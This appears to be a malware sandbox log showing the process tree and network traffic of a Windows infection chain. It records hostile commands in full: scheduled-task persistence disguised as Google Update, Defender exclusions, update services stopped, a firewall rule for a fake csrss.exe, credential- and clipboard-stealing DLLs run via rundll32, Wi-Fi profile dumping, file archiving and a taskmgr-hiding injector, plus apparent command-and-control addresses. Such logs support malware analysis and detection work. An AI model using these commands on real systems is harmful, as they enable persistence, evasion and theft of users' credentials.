"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"

C:\Users\Admin\AppData\Local\Temp\7B5A.exe

C:\Users\Admin\AppData\Local\Temp\7B5A.exe

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\kos4.exe

"C:\Users\Admin\AppData\Local\Temp\kos4.exe"

C:\Users\Admin\AppData\Local\Temp\7F14.exe

C:\Users\Admin\AppData\Local\Temp\7F14.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6652 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\8966.exe

C:\Users\Admin\AppData\Local\Temp\8966.exe

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x338 0x508

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 752 -ip 752

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

"C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 752 -s 840

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp

"C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp" /SL4 $302EA "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe" 4760119 79360

C:\Program Files (x86)\BBuster\BBuster.exe

"C:\Program Files (x86)\BBuster\BBuster.exe" -i

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" helpmsg 3

C:\Program Files (x86)\BBuster\BBuster.exe

"C:\Program Files (x86)\BBuster\BBuster.exe" -s

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 helpmsg 3

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main

C:\Windows\SysWOW64\cacls.exe

CACLS "Utsysc.exe" /P "Admin:N"

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main

C:\Windows\system32\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main

C:\Windows\system32\netsh.exe

netsh wlan show profiles

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7636 /prefetch:8

C:\Windows\system32\tar.exe

tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\873812795143_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7968 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7944 /prefetch:1

C:\Windows\SysWOW64\cacls.exe

CACLS "Utsysc.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\e8b5234212" /P "Admin:N"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8068 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8216 /prefetch:1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\SysWOW64\cacls.exe

CACLS "..\e8b5234212" /P "Admin:R" /E

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Users\Admin\AppData\Local\Temp\24BD.exe

C:\Users\Admin\AppData\Local\Temp\24BD.exe

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7960 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7960 /prefetch:8

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8160 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7808 /prefetch:1

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:1

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,17115127219988763563,8799465260245499522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

Network

Country Destination Domain Proto
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
FI 77.91.68.61:80 tcp
FI 77.91.124.156:19071 tcp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
FI 77.91.68.249:80 77.91.68.249 tcp
US 8.8.8.8:53 249.68.91.77.in-addr.arpa udp
RU 193.233.255.73:80 193.233.255.73 tcp
US 8.8.8.8:53 73.255.233.193.in-addr.arpa udp
RU 5.42.65.80:80 5.42.65.80 tcp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 www.facebook.com udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 157.240.201.35:443 www.facebook.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 store.steampowered.com udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 35.201.240.157.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
NL 104.85.0.101:443 store.steampowered.com tcp
US 8.8.8.8:53 twitter.com udp
US 104.244.42.1:443 twitter.com tcp
US 8.8.8.8:53 steamcommunity.com udp
JP 23.207.106.113:443 steamcommunity.com tcp
US 8.8.8.8:53 www.epicgames.com udp
US 34.199.229.22:443 www.epicgames.com tcp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 101.0.85.104.in-addr.arpa udp
US 8.8.8.8:53 1.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 113.106.207.23.in-addr.arpa udp
US 8.8.8.8:53 www.paypal.com udp
US 151.101.1.21:443 www.paypal.com tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 8.8.8.8:53 22.229.199.34.in-addr.arpa udp
US 8.8.8.8:53 15.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 21.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 25.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 i.ytimg.com udp
NL 142.251.36.22:443 i.ytimg.com tcp
US 8.8.8.8:53 22.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
FI 77.91.124.156:19071 tcp
US 8.8.8.8:53 static.xx.fbcdn.net udp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
FI 77.91.68.29:80 77.91.68.29 tcp
NL 194.169.175.118:80 194.169.175.118 tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 abs.twimg.com udp
US 8.8.8.8:53 api.twitter.com udp
US 8.8.8.8:53 pbs.twimg.com udp
US 104.244.42.66:443 api.twitter.com tcp
US 8.8.8.8:53 video.twimg.com udp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 8.8.8.8:53 t.co udp
US 152.199.21.141:443 abs.twimg.com tcp
US 192.229.233.50:443 pbs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 192.229.220.133:443 video.twimg.com tcp
US 104.244.42.197:443 t.co tcp
US 8.8.8.8:53 21.151.70.163.in-addr.arpa udp
US 8.8.8.8:53 118.175.169.194.in-addr.arpa udp
US 8.8.8.8:53 66.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 141.21.199.152.in-addr.arpa udp
US 8.8.8.8:53 133.220.229.192.in-addr.arpa udp
US 8.8.8.8:53 50.233.229.192.in-addr.arpa udp
US 8.8.8.8:53 197.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
IT 185.196.9.171:80 185.196.9.171 tcp
NL 142.250.179.130:443 googleads.g.doubleclick.net tcp
NL 142.250.179.130:443 googleads.g.doubleclick.net tcp
NL 142.250.179.130:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 171.9.196.185.in-addr.arpa udp
US 8.8.8.8:53 130.179.250.142.in-addr.arpa udp
BG 171.22.28.213:80 171.22.28.213 tcp
US 8.8.8.8:53 yt3.ggpht.com udp
US 8.8.8.8:53 iplogger.com udp
US 8.8.8.8:53 213.28.22.171.in-addr.arpa udp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.22:443 i.ytimg.com udp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com tcp
DE 148.251.234.93:443 iplogger.com tcp
US 8.8.8.8:53 store.akamai.steamstatic.com udp
NL 92.122.101.34:443 store.akamai.steamstatic.com tcp
NL 92.122.101.34:443 store.akamai.steamstatic.com tcp
NL 92.122.101.34:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 stim.graspalace.com udp
US 188.114.96.0:80 stim.graspalace.com tcp
US 8.8.8.8:53 1.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 93.234.251.148.in-addr.arpa udp
US 8.8.8.8:53 34.101.122.92.in-addr.arpa udp
US 8.8.8.8:53 0.96.114.188.in-addr.arpa udp
US 194.49.94.11:80 194.49.94.11 tcp
US 8.8.8.8:53 11.94.49.194.in-addr.arpa udp
NL 142.251.36.1:443 yt3.ggpht.com udp
US 8.8.8.8:53 community.akamai.steamstatic.com udp
NL 92.122.101.40:443 community.akamai.steamstatic.com tcp
NL 92.122.101.40:443 community.akamai.steamstatic.com tcp
NL 92.122.101.40:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 198.23.217.172.in-addr.arpa udp
DE 167.235.20.126:80 167.235.20.126 tcp
DE 167.235.20.126:80 167.235.20.126 tcp
US 8.8.8.8:53 40.101.122.92.in-addr.arpa udp
US 8.8.8.8:53 126.20.235.167.in-addr.arpa udp
FI 77.91.68.61:80 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 static.ads-twitter.com udp
NL 199.232.148.157:443 static.ads-twitter.com tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 tracking.epicgames.com udp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
US 23.22.187.195:443 tracking.epicgames.com tcp
US 8.8.8.8:53 api.ip.sb udp
US 18.239.36.22:443 static-assets-prod.unrealengine.com tcp
US 18.239.36.22:443 static-assets-prod.unrealengine.com tcp
US 23.22.187.195:443 tracking.epicgames.com tcp
US 104.26.13.31:443 api.ip.sb tcp
US 8.8.8.8:53 157.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 static.doubleclick.net udp
US 8.8.8.8:53 22.36.239.18.in-addr.arpa udp
US 8.8.8.8:53 195.187.22.23.in-addr.arpa udp
US 8.8.8.8:53 31.13.26.104.in-addr.arpa udp
NL 216.58.214.10:443 jnn-pa.googleapis.com tcp
NL 216.58.214.10:443 jnn-pa.googleapis.com tcp
NL 142.251.36.6:443 static.doubleclick.net tcp
NL 216.58.214.10:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 10.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 6.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 rr3---sn-5hnekn7l.googlevideo.com udp
NL 74.125.100.8:443 rr3---sn-5hnekn7l.googlevideo.com tcp
DE 167.235.20.126:80 167.235.20.126 tcp
